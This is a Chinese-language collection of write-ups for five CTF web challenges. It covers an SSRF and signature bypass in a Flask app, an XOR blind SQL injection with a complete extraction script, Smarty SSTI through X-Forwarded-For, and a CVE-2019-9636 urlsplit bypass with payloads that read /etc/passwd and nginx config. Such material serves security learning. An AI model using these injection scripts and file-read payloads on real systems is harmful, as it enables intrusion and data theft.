目录
1.[De1CTF 2019]SSRF Me 1
很容易看出是一段代码,整理
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
来自:
有三个路由:/geneSign,//De1ta,/
1.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
GET方式传入参数param,action固定为scan,调用getSign函数,我们看看
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
对secert_key+param+action进行加密后返回
2.
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
从cookie接收action和sign参数,waf函数检测param参数,调用Task函数处理三个参数,之后返回执行结果task.Exec的执行结果
先看看waf函数
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
我们的param参数中不能出现gopher和file,也就是说这两个协议不可用
再看看Task函数
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
如果我们呢sandbox参数中的路径不存在,则为它创建一个目录
看看Exec()
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
要求我们传入的action参数含有scan和read就可以进行读取文件内容,结果保存在result中,之后返回result
3.
@app.route('/')
def index():
return open("code.txt","r").read()
读取源码,也就是我们打开题目看到的那些
4.后面有个checkSign函数
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
经getSign函数处理后的值于我们传入的sign参数比较,如果相等返回真,不等返回假
这里我们的sign参数可以/geneSign传参后得到
提示:
payload:
1.在geneSign里的getsign函数,他是用param和action做拼接的!而action是固定的scan ,也就是说,我们先使用geneSign,传参为flag.txtread,这样只会param+action拼接为 flag.txtreadscan,生成sign保存下来
2.[极客大挑战 2019]FinalSQL1
1,2,3,4,5依次点击,都不是,看到地址栏的变化,
我们可以改id=6
clever!这个页面不简单,sql注入尝试
这个id就是注入点
存在过滤,一般存在过滤,sql注入的常用关键字一般都是过滤了,空格这些也不会落下,观察到页面并没有显示报错信息,我们考虑盲注,而盲注也是有不同的类型,其中的一种叫异或盲注
大佬的脚本
import requests
import sys
import time
#判断数据库名长度
def get_DBlen(url):
for i in range(1,10):
db_url = url+"1^1^(length(database())=%d)#"%i
r = requests.get(db_url)
if "Click" in r.text:
print("数据库名称的长度为:%d"%i)
return i
#爆数据库名
def get_DBname(url,length):
DBname = ""
length = length + 1
for i in range(1,length):
Max = 122
Min = 41
Mid = (Max+Min)//2
while Min <= Max:
db_url = url+"1^1^(ascii(substr(database(),%d,1))>=%d)#"%(i,Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min=Mid+1
Mid=(Min+Max)//2
pass
else:
Max = Mid-1
Mid = (Min+Max)//2
pass
pass
DBname = DBname + chr(Mid)
print("数据库名:",DBname)
return DBname
def get_TBname(url):
name=""
i = 0
print("字段内容为:")
while True:
i = i+1
Max = 128
Min = 32
Mid = (Max+Min)//2
while Min <= Max:
# 爆表名
# db_url = url+"1^1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>=%d)#"%(i,Mid)
# 爆字段名
# db_url = url+"1^1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>=%d)#"%(i,Mid)
# 获取flag
db_url = url+"1^1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>=%d)"%(i,Mid)
r = requests.get(db_url)
if "Click" in r.text:
Min=Mid+1
Mid=(Min+Max)//2
pass
else:
Max=Mid-1
Mid=(Min+Max)//2
pass
pass
name=name+chr(Mid)
if Mid == 31:
break
print(name)
#速度太快显示不完全
time.sleep(0.5)
if __name__=="__main__":
url = "http://41a8c6b3-f4d5-4b79-9bbc-0bf925168a5f.node4.buuoj.cn/search.php?id="
db_Len = get_DBlen(url)
db_Name = get_DBname(url,db_Len)
tb_name = get_TBname(url)
跑一下就可以拿到flag
3.[CISCN2019 华东南赛区]Web11 1
抓包看看
知识点:smart ssti
关于smart ssti:
smart是php的模板引擎,模板引擎的作用就是分离前端页面和数据的,题目中显示API的URL由于环境的原因无法使用,但我们的IP依旧显示在了页面的右上角,且根据它的提示XFF我们很容易想到,在X-Forwarded-For里构造ssti:payload。
来自:(2条消息) [CISCN2019 华东南赛区]Web11 1_succ3的博客-CSDN博客
参考:(2条消息) Smarty SSTI_合天网安实验室的博客-CSDN博客
这里我们用{/if}标签来构造payload
4.[BSidesCF 2019]Futurella 1
陌生的编码,看看源码
5.[SUCTF 2019]Pythonginx 1
知识点:
- CVE-2019-9636:urlsplit不处理NFKC标准化
- nginx重要文件的位置
- url中的unicode漏洞引发的域名安全问题(19年black hat中的一个议题)
- 跑python脚本(逃~。。。。)
这题自己其实已经找到了方法,但是还是没敢继续尝试。
首先我们需要知道nginx重要文件的位置:
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf
大佬整理好的内容
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
这也是本题的一个非预期解,利用了urlsplit不处理NFKC标准化:
?url=file:suctf.cc/etc/passwd
以上部分转载于:
(2条消息) [SUCTF 2019]Pythonginx 1_bfengj的博客-CSDN博客
读取配置文件
?url=file:suctf.cc/usr/local/nginx/conf/nginx.conf